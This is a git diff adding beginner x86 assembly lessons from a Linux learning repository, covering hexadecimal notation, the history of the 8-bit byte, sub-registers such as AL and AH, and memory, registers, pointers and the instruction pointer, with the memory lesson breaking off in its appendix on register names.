+- `0xFF` → a byte, all its bits on (255).
+- Something long like `0x080484b6` → not scary; it's just a **box number** (an address), written in short form. The numbers of the boxes in the warehouse from the previous lesson look exactly like this.
+
+When you need the exact number, **let the computer do the conversion.** For example, in the terminal (recall from lesson 02) you can type `python3` and try these:
+
+```
+>>> 0xff
+255
+>>> 0b1011
+11
+```
+
+So when you type `0x...` it tells you the decimal equivalent, and the same for `0b...` (binary). No need to fuss by hand; the goal is to *recognize* these notations.
+
+> 🔑 The literacy bar is this much: (1) `0x` = hex, `0b` = binary; (2) one byte = 2 hex digits; (3) when you see it, not panicking and being able to say "this is a number/address." Over time, familiarity by sight comes on its own.
+
+---
+
+## Where Will I See This?
+
+If this lesson felt abstract, you'll see its payoff concretely very soon. Later, when tracing programs with GDB (lesson 07), the screen will be full of things like this:
+
+```
+ eax = 0x5
+ ebx = 0xffffd6a4
+ address 0x08048000 ...
+```
+
+From today on, these are no longer meaningless charms: `eax = 0x5` → "there's a 5 in the EAX box"; `0xffffd6a4` → "an address, i.e. a box number." You've learned to read the machine language of numbers; the rest will settle in with practice.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Goal: to READ machine numbers (not calculate). Not math homework, literacy.
+☐ Inside there's only on(1)/off(0) → the machine counts in BINARY. One switch = 1 bit.
+☐ Binary is the same as decimal; place values are powers of 2, not 10: 1,2,4,8,16,32,64,128...
+ - Reading = add up the values of the places that are 1. (1011 = 8+2+1 = 11)
+☐ 1 byte = 8 bits → largest 11111111 = 255. So a byte is 0–255 (256 values). [the answer from 01]
+☐ "8" is not a law of nature, but a historical choice (a letter fits + 2 BCD digits + power of 2). Detail: the Appendix at the end.
+☐ HEX = the short form of binary. 4 bits = 1 hex digit; 1 byte = 2 hex digits.
+ - Digits: 0–9, then A,B,C,D,E,F (10–15). 0x goes in front. E.g.: 11111111 = 0xFF = 255.
+☐ Don't do the conversion by hand: in python3, 0xff → 255, 0b1011 → 11. You just RECOGNIZE.
+☐ The bar: 0x=hex, 0b=binary; byte=2 hex digits; when you see it, say "this is a number/address."
+```
+
+---
+
+## Appendix: Why Is a Byte 8 Bits? (History and Reasons)
+
+> This section is for the curious. Skipping it won't stop you from understanding the rest of the lesson — but if you asked above "why is a byte exactly 8?", the answer (and its story) is here. And the story is actually a good one.
+
+### First, the most important fact: 8 is not a rule, it's a choice
+
+There is **no** law in math or physics that says "a byte must be 8 bits." You can group bits in any number you like; the question is only "how many to a group?" Indeed, the first computers were complete chaos on this front — every machine chose its own size. "8" is a convention that later won out for specific reasons.
+
+### Where does the word "byte" come from?
+
+The term was coined in 1956 by IBM engineer **Werner Buchholz**, while IBM's first transistorized supercomputer "Stretch" (IBM 7030) was being designed. Buchholz deliberately spelled the English word *bite* (a mouthful) as *byte* so it wouldn't be confused with "bit" — so a byte roughly meant "a mouthful of bits the machine bites off and processes at once."
+
+The interesting thing is: on Stretch, the size of a byte was **not fixed.** The machine could address individual bits, and how many bits a byte would be was specified inside the instruction (variable length). So at the start "byte" didn't yet mean "8 bits"; it just meant "a group of bits."
+
+### Before standardization: the chaos of bit sizes
+
+Before 8 was standardized, machines tried every route:
+
+```
+ 4 bit → BCD: to write a single decimal digit (0–9)
+ 5 bit → Baudot: old telex/telegraph code
+ 6 bit → BCDIC, military Fieldata: letter+digit+symbol (weak upper/lower case distinction)
+ ... → word sizes also varied widely, like 12, 36, 60 bit
+```
+
+36-bit machines (for example the PDP-10) were common into the 1970s. In that era numbers were often written in **octal**, because word sizes were multiples of 3. So the world of "everything in hex" didn't exist yet.
+
+### The standardization of 8: IBM System/360 (1964)
+
+The turning point was the **IBM System/360** (announced in 1964). This machine **fixed the byte at 8 bits**, made memory addressable byte by byte, and introduced an 8-bit character encoding called **EBCDIC**. Because System/360 was a colossal commercial success, the 8-bit byte became the de facto standard for the whole world. Then Intel's 8008/8080 microprocessors carried this 8-bit tradition into the personal-computer era; everything you have today is built on top of it.
+
+Fred Brooks, one of the chief architects of System/360, later said "the most important technical decision of my career was choosing the 8-bit byte for the 360" — his wager was that **text/character processing** would become more important than pure decimal arithmetic. It turned out right.
+
+### So why exactly 8? (three reasons came together)
+
+1. **So that a letter fits exactly (character encoding).** 6 bits give only 64 possibilities — not enough for uppercase + lowercase + digits + punctuation. 8 bits give 256 possibilities: room for a whole character set, and even accented/extra characters on top. (7-bit ASCII was enough for English; going to 8 left room both for extra characters and for error checking/parity.) In short, "1 byte = 1 character" sat comfortably.
+
+2. **Practical for decimal (BCD) arithmetic.** The business/finance machines of that era worked with decimal numbers, and a decimal digit was written in 4 bits (BCD). Two 4-bit digits fit exactly into one 8-bit byte. So 8 sat cleanly into the decimal world too.
+
+3. **A power of 2 / hardware-friendly.** 8 = 2³. Binary addressing, memory layout, and data buses work cleanly with powers of 2. Moreover, 8 divides into two 4-bit groups — that is, into the **two hex digits** you just learned. That's exactly why a byte is exactly 2 hex digits. Had it been 9 bits, it would neither sit cleanly into hex nor have this alignment.
+
+### There's also "octet"
+
+In some places (especially in networking/communication standards, in RFCs) you'll see the word **octet** instead of byte. The reason is precisely this history: because "byte" hasn't always been 8 bits in the past, those who want to say "definitely 8 bits" use the unambiguous term "octet." So when you see octet, read it as "exactly 8 bits."
+
+### And the essence of the "why 255?" question
+
+Now it's clear why 255 is 255: because a byte was fixed at 8 bits, 8 bits hold `2⁸ = 256` different values, i.e. **0–255.** Had the convention been 7 bits the largest number would be 127, had it been 9 bits it would be 511. So 255 is not a magic number; it's the **direct arithmetic result of the 8-bit tradition** chosen for the reasons above. First (for those reasons) came 8, and 255 fell out of it.
+
+> 🔑 Summary: "byte = 8 bits" is not a law of nature, but a historical agreement. 8 was settled on so that a letter fits (256 characters), two decimal digits are packed (2×4 bits), and it comes out "round" to the machine (a power of 2, two hex digits); IBM System/360 made it the standard. And 255 is the natural consequence of that 8.
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — Boxes, the byte, and the "why 0–255" question
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where addresses (box numbers) are written in hex
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — The lesson where you'll see registers and addresses live, in hex
+
+---
+
+**Previous topic:** [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md)
+**Next topic:** [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md b/docs/eng/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
new file mode 100644
index 0000000..e85ef20
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
@@ -0,0 +1,155 @@
+# 🔍 x86 Assembly — Inside a Register: AL, AH and Size Games
+
+> In 04 you met the registers: the boxes in the worker's pockets, each holding 4 bytes.
+> In this short intermezzo lesson we step INSIDE one of those pockets once more. It turns out you don't
+> always have to use a register as a whole — whenever you like, you can touch just a part of it, say a single
+> byte of it. A small detail, but it really cements how registers actually do their work.
+
+> **No code here either.** We're just looking at the inner structure of a register. If you're in a hurry you can
+> skim this lesson and jump to 05; but the "**same bits, different window**" idea here will clear your head a lot
+> later on, once you start doing work with bytes. Short, I promise.
+
+---
+
+## 📋 Table of Contents
+
+- [Recall: One Register, 4 Bytes](#recall-one-register-4-bytes)
+- [AX: The Lower Half of the Register](#ax-the-lower-half-of-the-register)
+- [AL and AH: The Two Bytes of AX](#al-and-ah-the-two-bytes-of-ax)
+- [The Most Important Part: Same Bits, Different Window](#the-most-important-part-same-bits-different-window)
+- [Which Registers Have This?](#which-registers-have-this)
+- [What Is This Good For?](#what-is-this-good-for)
+
+---
+
+## Recall: One Register, 4 Bytes
+
+Recall from 04: a register, say `EAX`, holds 32 bits = 4 bytes. Most of the time you use EAX as a single whole, a 4-byte number.
+
+But you don't always need that much room. Sometimes all you have is a single byte's worth (0–255) of something — say a single letter. Spending a whole register on that feels wasteful. So x86 gives you a convenience: you can use **only a part** of the register. Let's see how.
+
+---
+
+## AX: The Lower Half of the Register
+
+We touched on this briefly in the Appendix at the end of 04: the **lower 16 bits** of EAX are called `AX`. (The historical reason was explained there: on old machines registers were 16-bit, and `AX` is a name left over from those days; the leading `E` stands for "Extended", i.e. the version widened to 32 bits.)
+
+16 bits = 2 bytes; so AX can hold a number from 0 to 65535. (From 03: 16 bits = 4 hex digits.)
+
+```
+ EAX (32 bit)
+ ┌─────────────────────┬─────────────────────┐
+ │ (high 16 bit) │ AX │
+ │ │ (low 16 bit) │
+ └─────────────────────┴─────────────────────┘
+```
+
+The upper 16 bits of EAX have no name of their own; you can't reach them directly, on their own. But you can reach the lower half by calling it `AX`.
+
+---
+
+## AL and AH: The Two Bytes of AX
+
+Let's take it one step further. AX itself was 2 bytes. Those two bytes have separate names too:
+
+- Lower (low) byte → `AL` (L = *low*)
+- Upper (high) byte → `AH` (H = *high*)
+
+Each is exactly 1 byte = 8 bits = 0–255 (again that range you know from 03). The whole picture looks like this:
+
+```
+ bit: 31 .............. 16 | 15 ....... 8 | 7 ....... 0
+ ┌─────────────────────┬──────────────┬─────────────┐
+EAX = │ (unnamed high 16) │ AH │ AL │
+ └─────────────────────┴──────────────┴─────────────┘
+ │←────────── AX ──────────→│
+```
+
+So let's line them up: `AL` = the very bottom byte, `AH` = the byte just above it, `AX` = these two together (the lower 16 bits), `EAX` = all of it (32 bits). Four different names — but all four are differently-sized slices of the **same register.**
+
+---
+
+## The Most Important Part: Same Bits, Different Window
+
+This is the one critical idea in this lesson, and it's the sentence you should keep in mind: **AL, AH, AX and EAX are NOT four separate boxes.** They're all views into the same single box, through windows of different sizes.
+
+The consequence: if you change `AL`, you've also changed the lowest byte of `EAX` — because they are **physically the same bits.** Not separate copies, the same place. With a concrete example:
+
+```
+ Suppose: EAX = 0x11223344
+
+ Then: AL = 0x44 (lowest byte)
+ AH = 0x33 (the byte just above it)
+ AX = 0x3344 (the low two bytes together)
+
+ Now if you write 0xFF to AL:
+
+ EAX = 0x112233FF
+ ▲▲
+ only the lowest byte changed; the rest stayed in place
+```
+
+Why is `AL = 0x44`? Recall from 03: the **rightmost** digit is the smallest value — so the lowest byte of a number is always the rightmost two hex digits. The rightmost of `0x11223344` is `44` → `AL`, and the `33` to its left → `AH`. (Don't start from the left and mistake `0x11` for `AL`; the low byte is always at the right end.)
+
+As you can see, touching `AL` affected `EAX` too — because `AL` is nothing more than an alias for one corner of `EAX`. Remember the "box" metaphor from 04: this is still **a single pocket box;** you're just choosing whether you're looking at (and writing to) the whole of it or one corner of it.
+
+> 🔑 In one sentence: `AL`/`AH`/`AX`/`EAX` are not separate registers, they are windows onto the same register, from small to large. Writing to a small window also changes that part of the large window.
+
+> ⚠️ One of the most frequent sources of error later on is exactly here: being surprised, "I wrote to AL, why did EAX change?" You already know the answer — because the two are the same bits. Keep this sentence in your pocket.
+
+> 💡 **Something that may nag at you:** *"If there's an important big number sitting in EAX and I write to the AL corner, won't that number get corrupted and turn into garbage? Shouldn't I check whether 'EAX is empty' before using it?"* You don't ask "is it empty" — a register always holds something, and you **know what it holds** (because you put it there). There are three cases: if its contents are no longer needed, writing over them is perfectly normal anyway (registers are constantly reused). If you specifically want to change just that byte, AL is exactly the tool. But if its contents are **still needed**, either you use a different register (`EBX`/`ECX`/`EDX`) for your byte-sized work, or you first **save** EAX somewhere and then restore it later (we'll see this "save–restore" in lesson 14, on the stack). So corruption happens only if you overwrite a value that is *still needed*; the fix is not "ask whether it's empty" but **"know what it holds and don't overwrite what you need."** The worker will happily write to AL without checking what's in EAX — protecting your data is your job.
+
+---
+
+## Which Registers Have This?
+
+This full pattern — 32, 16, and two separately-accessible 8-bit bytes — is found in the main four registers:
+
+```
+ EAX → AX → AH / AL
+ EBX → BX → BH / BL
+ ECX → CX → CH / CL
+ EDX → DX → DH / DL
+```
+
+In the others (`ESI`, `EDI`, `ESP`, `EBP`) things are a bit plainer: they too have a 16-bit form (`SI`, `DI`, `SP`, `BP`), but in our 32-bit world there is **no** "high byte / low byte" split like `AH`/`AL`. So on those you have "use half of it," but not "pick that single byte of it."
+
+For now keep the main four (`EAX`–`EDX`) and their `AH`/`AL` parts in mind; those are the ones you'll meet most often.
+
+---
+
+## What Is This Good For?
+
+The short answer: most of the time you don't need a full 4-byte number. A single letter (character) is exactly 1 byte — to hold it, using just `AL` rather than the whole `EAX` is both enough and clean. When you work byte by byte (text, characters, small values one at a time) `AL`/`AH` will keep coming up.
+
+> 💡 Look-ahead note: You'll see this in action, with real instructions, in [08_mov_ve_bellek](./08_mov_ve_bellek.md) and while dealing with characters. At that moment you won't ask "why `AL`?" — because by then you'll know: for a single-byte job, the register's exactly-that-byte window is enough.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ You don't always have to use a register as a whole (4 bytes); you can access a part of it too.
+☐ EAX (32 bit) → AX (lower 16 bit) → AH (high byte) + AL (low byte). From 03: byte = 8 bit = 0..255.
+☐ MOST IMPORTANT: AL/AH/AX/EAX are NOT separate boxes — they are different-sized windows onto the same box.
+ - Writing to AL also changes EAX's low byte. (The same physical bits.)
+ - E.g.: with EAX=0x11223344, AL=0x44; writing 0xFF to AL makes EAX=0x112233FF.
+☐ This pattern (32 / 16 / 8+8) exists in the main four registers: EAX/EBX/ECX/EDX → ..X → ..H / ..L.
+☐ ESI/EDI/ESP/EBP: they have a 16-bit form (SI/DI/SP/BP) but (in 32-bit) NO byte split like AH/AL.
+☐ What it's good for: for a single-byte job (e.g. a character) AL is enough instead of a whole register. Detail: 08.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — What registers are; the ground this lesson sits on
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The basis of AL/AH being "1 byte = 0..255" and of hex
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — The lesson where you'll see AL/AH in action, with real instructions
+
+---
+
+**Previous topic:** [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md)
+**Next topic:** [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/04_bellek_ve_registerlar.md b/docs/eng/konu_anlatimlari/x86_assembly/04_bellek_ve_registerlar.md
new file mode 100644
index 0000000..001761c
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/04_bellek_ve_registerlar.md
@@ -0,0 +1,315 @@
+# 🗄️ x86 Assembly — Memory and Registers
+
+> In 01 we drew a picture from a distance: a huge warehouse, a few pockets on the worker, and a very fast but very dumb worker.
+> Now we're zooming in on that picture. Exactly how big are the boxes in the warehouse, what fits inside them; how are the worker's
+> pockets different from the ones in the warehouse; and how does the worker shuttle back and forth between the two all day long?
+> This is the lesson that closes Unit 0 — by the time you're done, the picture in your head will be clear enough to put your first real code on top of.
+
+> **There's still not a single line of code in this lesson.** We're only sharpening the picture from 01: taking a close look at memory
+> and registers and establishing the relationship between them. We'll see the instructions and the real syntax in the next unit, when we
+> write and run our first program. No rush; if this ground is solid, the rest will settle into place on its own.
+
+---
+
+## 📋 Table of Contents
+
+- [A Close Look at Memory](#a-close-look-at-memory)
+- [Address or Value — Once More](#address-or-value--once-more)
+- [A Close Look at Registers](#a-close-look-at-registers)
+- [The Worker's Real Dance: Between Warehouse and Pocket](#the-workers-real-dance-between-warehouse-and-pocket)
+- [The Program Lives in These Boxes Too](#the-program-lives-in-these-boxes-too)
+- [The Worker's Finger Is a Register Too](#the-workers-finger-is-a-register-too)
+
+---
+
+## A Close Look at Memory
+
+In 01 we got to know memory as a "warehouse of numbered boxes": each box has a number, and inside it sits a number. Back then we said, "a box holds a number between 0 and 255, and we'll see why 255 later." After 03, we can finally fill in that blank.
+
+Each box is exactly one **byte** — that is, 8 switches side by side (8 bits). The smallest number a byte can hold is 0 (all off), the largest is 255 (all on). Here are those rows upon rows of memory boxes, each one a byte:
+
+```
+ Address: 0 1 2 3 4 5 ...
+ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐
+ Content: │ 72 │ │ 13 │ │ 0 │ │255 │ │ 42 │ │ 7 │ ...
+ └────┘ └────┘ └────┘ └────┘ └────┘ └────┘
+ each box = 1 byte = 8 switches = a number between 0..255
+```
+
+The boxes' numbers — that is, their **addresses** — go 0, 1, 2, 3… **consecutively**, without leaving any gaps. And as you learned in 03, at the low level these addresses are usually written in hex: something scary-looking like `0x080484b6` is really just a **box number.** Long, but a single number.
+
+Now that classic question: what if we want to hold a number bigger than 255? We put that on hold in 03 too — we said "the machine uses several bytes side by side." Here's how it happens:
+
+```
+ A large number like "1,000,000" does NOT FIT in a single box (a box holds at most 255).
+ The machine spreads it across several CONSECUTIVE boxes:
+
+ Address: 100 101 102 103
+ ┌────┐ ┌────┐ ┌────┐ ┌────┐
+ │ .. │ │ .. │ │ .. │ │ .. │ ← 4 boxes TOGETHER = a single big number
+ └────┘ └────┘ └────┘ └────┘
+```
+
+So a large value means "several boxes side by side, read together." A single box is small; but boxes are cheap and ordered, so you can combine as many as you want.
+
+> 🔑 Memory in two sentences: (1) each box is exactly 1 byte, holding 0–255; (2) a larger number is several consecutive boxes held together. The box's **number = address** (usually written in hex), the box's **inside = value**.
+
+> 💡 Forward-note: We said "several boxes together," but the *order* in which these bytes get lined up in memory follows its own rule (one that seems odd the first time you see it). We'll see it when we actually look at memory with GDB ([07_gdb_tek_adim](./07_gdb_tek_adim.md), [08_mov_ve_bellek](./08_mov_ve_bellek.md)). For now it's enough to say "big number = several boxes" — the order isn't a worry.
+
+> 💡 **You might be wondering:** *"That dumb worker — how does it know whether 4 boxes side by side are a single big number or 4 separate small numbers? What if I put 4 independent small values there?"* It doesn't know — there's no label on the boxes saying "we belong together." The grouping is determined entirely by the **instruction**: if it says "read 1 byte from box 100," it's a single small number; if it says "read 4 bytes," all four together are one big number. So it's **your** responsibility to read the data the way you wrote it; if you read it at the wrong size, a nonsense number comes out and the machine won't stop you. (This is exactly the "the instruction gives the meaning" rule from [01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md).)
+
+---
+
+## Address or Value — Once More
+
+In 01 we called this the distinction that "trips people up most often down the road"; it's so important that let's reinforce it once more, with a fresh example. Let's look at box number 5 in memory and say it holds 12:
+
+```
+ box number 5
+ ┌──────┐
+Address 5→│ 12 │← Value 12
+ └──────┘
+ "the box's PLACE" = 5 "the box's INSIDE" = 12 (two separate numbers)
+```
+
+Address 5, value 12. Two numbers that look nothing alike, two separate roles. Think about this for a second: if someone tells the worker "bring box number 12," does the worker bring **box 5**, which has 12 inside it? No — it goes to a completely different box, **box 12**. Because "12" here was said as an address, not as a value.
+
+Now a strange but powerful idea: the number **inside** a box can perfectly well be another box's **number.** If box 5 holds 12, you can also read it as "box 5 is *pointing me* to 12" — as if one box points at another box.
+
+> 🔑 The same number can play the role of a **value** in one place and an **address** in another. Which role you read it in is determined by **the command you give the worker** — the box itself doesn't know, doesn't care. The "literally obedient worker" idea from 01 comes in handy right here: you supply the meaning, it just does what it's told.
+
+Let's make this a bit more concrete, because it'll be very useful down the road. Say box 5 again holds 12, and box 12 holds 99. If we tell someone "go to the place box 5 *points to*," they have to take two steps:
+
+```
+ 1) First look at box 5 → it holds 12 inside
+ 2) Read that 12 as an ADDRESS,
+ go to box 12 → the value you actually want is there (99)
+
+ ┌──────┐ ┌──────┐
+ Address 5│ 12 │ ──────────────────► │ 99 │ Address 12
+ └──────┘ "go to box 12" └──────┘
+ (holds an ADDRESS) (the actual VALUE)
+```
+
+So box 5 holds, not the actual data, but **where** the actual data is. A box like this, holding another box's address inside it, is called a **pointer**: "box 5 points to box 12."
+
+Ground it in everyday life: it's like a coat-check ticket. The ticket itself is not your coat; the number on it tells the attendant **which hook** your coat is on. Or an address book — the "Alice" line doesn't contain Alice's house, it contains **where** her house is. A pointer is exactly like this: it carries not the data, but the location of the data.
+
+So what's it good for? Because instead of carrying a huge thing from hand to hand, just saying "it's over there" is often much cheaper — like giving someone your address instead of mailing them your house. As you'll see later, programs always manage large data this way, by passing its address (its pointer) around.
+
+> 💡 Forward-note: Actually *following* a pointer — going to the address inside it and grabbing the value there — takes an instruction. We'll do that with real syntax in [08_mov_ve_bellek](./08_mov_ve_bellek.md). For now it's enough for the idea to settle: **a box can hold the location (address) of another box.** If you've firmly grasped the address/value distinction, you've already understood half of what a pointer is.
+
+---
+
+## A Close Look at Registers
+
+In 01 we got to know registers as "the boxes in the worker's pocket, instantly accessible, few in number," and we heard a few of their names (EAX, EBX, ECX, EDX). Now let's zoom in on them too.
+
+**How many are there?** In x86's 32-bit world there's a handful of "general-purpose" registers. The main four are `EAX`, `EBX`, `ECX`, `EDX`; to these are added `ESI` and `EDI`; and there are two more "special-duty" ones, `ESP` and `EBP` (we'll meet them in [14_stack](./14_stack.md)). In total a bit more than the fingers on one hand — that promise from 01 is this concrete.
+
+**How big are they?** Here we pay off one of 03's debts. In 03 you saw a line like this:
+
+```
+ Example from 03: ebx = 0xffffd6a4
+ └────┬────┘
+ 8 hex digits
+
+ 1 byte = 2 hex digits → 8 hex digits = 4 byte = 32 bit
+ This is EXACTLY how much a register holds: 32 bit = 4 byte.
+```
+
+So a register holds a 4-byte number. By the "powers of 2" logic from 03, this means a range from 0 up to `2³² − 1` (exactly 4,294,967,295, or roughly 4.3 billion). Let's set it next to a memory box:
+
+```
+ Memory box: 1 byte → 0 .. 255
+ Register: 4 byte → 0 .. ~4.3 billion (exactly 2³² - 1)
+```
+
+> 💡 Forward-note: If you noticed, up to here we've always counted **from 0 upward** — both in the box and in the register. But what about negative numbers, say −7? They fit in these same bits too, no need to invent a separate box; but the question "*how* is a negative number written with these switches?" we'll open up when we see signed numbers and flags ([10_bayraklar_ve_cmp](./10_bayraklar_ve_cmp.md)). For now it's enough to say "the range is on the positive side."
+
+If you noticed, this connects to the previous section: a register carries exactly as much number as 4 memory boxes. When you drop what's inside a register into the warehouse, that value spreads across 4 consecutive boxes — which is the very thing we meant by "big number = several boxes."
+
+> 💡 Why are registers so few but so fast? Because physically they're **inside the worker itself** — on the processor. The pocket is in the worker's apron; the warehouse is across the room. What's close is fast but space is expensive (that's why there are few); what's far is plentiful but slow. We're not digging into the deep physical reasons; the intuition "close = fast + few, far = slow + plentiful" is more than enough for now.
+
+> 💡 Forward-note: The letters in the register names (A, B, C, D) and that leading "E" aren't random — there's a small but pleasant bit of history behind them. For the curious, I've told it in the [Appendix](#appendix--where-does-the-e-in-eax-come-from-history-and-reasons) at the very end; for now just think of the names as labels.
+
+---
+
+## The Worker's Real Dance: Between Warehouse and Pocket
+
+Now we come to the heart of this lesson. We've seen the two parts (warehouse + pocket) separately; but what does the worker do all day long? The answer is a **shuttling back and forth** between these two.
+
+The key rule is this: the worker does its real work — adding, subtracting, comparing — almost always **in its pocket**, that is, in the registers. It can't just grab a box sitting on a shelf in the warehouse and "play with it"; it first has to pull it into its pocket. That's why nearly every task has this three-step shape:
+
+```
+ WORKER (registers in its pocket)
+ ┌───────────────────────────┐
+ │ [EAX] [EBX] ... │
+ └───────────────────────────┘
+ ▲ FETCH │ STORE
+ │ (warehouse → pocket) ▼ (pocket → warehouse)
+ ┌─────────────────────────────────────────┐
+ │ WAREHOUSE (memory): numbered boxes │
+ └─────────────────────────────────────────┘
+
+ PROCESS = do it in the pocket (add / subtract / compare)
+```
+
+- **FETCH:** Bring the number(s) you need from the warehouse into the pocket. (memory → register)
+- **PROCESS:** Do it in the pocket — add, subtract, compare. (on the registers)
+- **STORE:** If you need to keep the result, put it back from the pocket into the warehouse. (register → memory)
+
+A concrete example (not a real instruction yet, just a plain-language draft):
+
+```
+ Task: add the number in box 100 to the number in box 200,
+ write the result to box 300.
+
+ FETCH : box 100 → EAX (warehouse to pocket)
+ FETCH : box 200 → EBX (warehouse to pocket)
+ PROCESS: add EBX to EAX (in pocket; now EAX = sum)
+ STORE : EAX → box 300 (pocket to warehouse)
+```
+
+As you can see, the whole job amounts to pulling from the warehouse into the pocket, handling it in the pocket, and if necessary dropping it back into the warehouse. This **fetch → process → store** pattern is the skeleton of nearly every program you'll write. When you see the real instructions in Unit 1, you'll recognize this shape again and again.
+
+> ⚠️ Let's head off a confusion here from the start. **fetch → do → advance** (01) and **fetch → process → store** are NOT the same thing:
+> - **fetch-do-advance:** the rhythm the worker reads *commands* — it turns once per instruction: fetch the next command, apply it, advance to the next command.
+> - **fetch-process-store:** the pattern of moving *data* between warehouse and pocket — the big picture of most programs. It's what happens inside the "do" steps above.
+>
+> In short: while individual instructions cycle through fetch-do-advance, the pattern they produce all together is fetch-process-store.
+
+> 🔑 In Unit 1 you'll meet an instruction called `mov` — that's the instruction that does the **FETCH** and **STORE** above ([08_mov_ve_bellek](./08_mov_ve_bellek.md)). **PROCESS** is the arithmetic instructions ([09_aritmetik](./09_aritmetik.md)). So this dance is nothing but the plain-language draft of the real instructions you're about to learn.
+
+> 💡 An honest little note: x86 sometimes allows shortcuts too (there are cases where you can touch a memory box directly, without always pulling into the pocket). But the basic pattern you need to keep in your head is fetch-process-store; I'll mention the exceptions when the time comes.
+
+---
+
+## The Program Lives in These Boxes Too
+
+Up to now we've always thought of the boxes as being for **data**: numbers, letters, the health in a game. But in 01 we said in passing "you put the program into memory." Let's complete that picture now: the program **itself** also lives in the same boxes.
+
+How can that be? Because every instruction the worker knows is, at the very bottom, again a **number** — the machine encodes each command with a certain number. So your "list of commands" is really just numbers written into consecutive boxes. Let's tie it to 03: those instructions you'll write in assembly live in memory as hex numbers.
+
+This also clarifies the exact meaning of the word "**fetch**" in fetch-do-advance: the worker **reads the next command from memory, from a box.** The warehouse that's there for data is also where the program lives.
+
+> 🔑 Memory holds both **data** and the **program** — both are, in the end, numbers in boxes. The "fetch" of "fetch-do-advance" means pulling the next instruction from one of these boxes.
+
+> 💡 Forward-note: The idea that "code is really data / numbers in memory" is a powerful insight that will open many doors down the road. For now we're just completing the picture: the warehouse isn't filled only with data, it's also the home of the program.
+
+---
+
+## The Worker's Finger Is a Register Too
+
+Let's close Unit 0 with one last connection. In 01, as a small 💡, we said this: "the worker holds the information 'which line of the list am I on right now,' as if keeping its finger over the line it's reading." We can now say what that finger is.
+
+That finger is a special pocket box — that is, a **register.** So what does it hold inside? The **memory address** of the next command: that is, the information of which box the worker will read its next command from.
+
+```
+ Special register ("finger") MEMORY (the program is here too)
+ ┌──────────┐ Address
+ │ 0x.... │ ──────────────────► ... ┌─────────┐
+ └──────────┘ now → │ command │ ← read from here (FETCH)
+ holds an ADDRESS inside └─────────┘
+ (which box number), ...
+ not a VALUE
+```
+
+Notice how this is a nice closing for this section's address/value lesson: this register holds not a **value** but an **address** — it carries the "which box" information, not what's inside that box. The thing we distinguished two sections ago comes in handy right here.
+
+Now let's re-read fetch-do-advance with this finger register:
+
+```
+ FETCH : read the command in the box the finger points to
+ DO : apply the command literally
+ ADVANCE: slide the finger to the box where the next command sits
+```
+
+And the "**jump / leap**" instructions we previewed in 01? They're exactly this: putting **another address** into this finger register. You make the finger jump to whichever line of the list you want — decisions and loops arise exactly this way ([11_ziplamalar](./11_ziplamalar.md)).
+
+> 💡 Forward-note: This special register's name in x86 is **EIP** (Instruction Pointer). You don't have to memorize it; when you step through the program one at a time with GDB, you'll see the finger walk from box to box *live* ([07_gdb_tek_adim](./07_gdb_tek_adim.md)). At that moment you'll say "ah, so this is what it was."
+
+> 🔑 All of Unit 0 in one breath: **memory** = numbered boxes that hold data and the program; **registers** = a few fast boxes inside the worker (one of them the finger, holding "where are we right now"); **the worker** = a very fast but very dumb being that processes the command the finger points to with fetch-do-advance, and the data with the fetch-process-store dance. That's what a computer is.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Memory box = exactly 1 byte = 8 switches = 0..255. Addresses are consecutive (0,1,2,...), usually hex.
+ - The box's NUMBER = address. The box's INSIDE = value. (Still completely separate!)
+☐ Big number (over 255) = several consecutive boxes together. (Ordering: later, in gdb.)
+☐ The same number can be a VALUE in one place, an ADDRESS in another; its role is set by the COMMAND you give the worker.
+ - "A box can hold another box's address" → the seed of the later pointer (not opening it now).
+☐ Register = fast pocket box inside the worker; FEW in number (EAX,EBX,ECX,EDX,ESI,EDI + ESP,EBP).
+☐ One register = 32 bit = 4 byte = 0..~4.3 billion. (The answer to the 8-digit "ebx = 0xffffd6a4" from 03.)
+☐ The worker's real dance: FETCH (warehouse→pocket) → PROCESS (in pocket) → STORE (pocket→warehouse). The skeleton of programs.
+ - CAREFUL: fetch-do-advance = COMMAND reading rhythm; fetch-process-store = DATA moving pattern. Don't mix them up.
+☐ The program lives in memory too: commands are numbers as well. "Fetch" = reading the next command from a box.
+☐ The worker's "finger" = a special register; it holds the ADDRESS of the next command inside it (in x86 its name is EIP).
+ - Jumping/leaping = putting another address into this finger.
+☐ Unit 0 is done: you now have the full picture in your head. In Unit 1 we'll write and run real code for the FIRST TIME.
+```
+
+---
+
+## Appendix — Where Does the "E" in EAX Come From? (History and Reasons)
+
+> This section is for the curious. If you skip it, it won't get in the way of understanding the rest of the lesson at all — but if you asked above "why A, B, C, D, and why the leading E?", the answer (and its short story) is here.
+
+### First the letters: A, B, C, D aren't random
+
+In the first x86 processors (8086/8088, 1978), the registers had specific roles, and their names came from those roles:
+
+```
+ AX → Accumulator : where the calculation "accumulates" (sums, results)
+ BX → Base : was used as the "base" in memory addressing
+ CX → Counter : counter — the repeat count of loops
+ DX → Data : extra data / helper in multiply-divide
+```
+
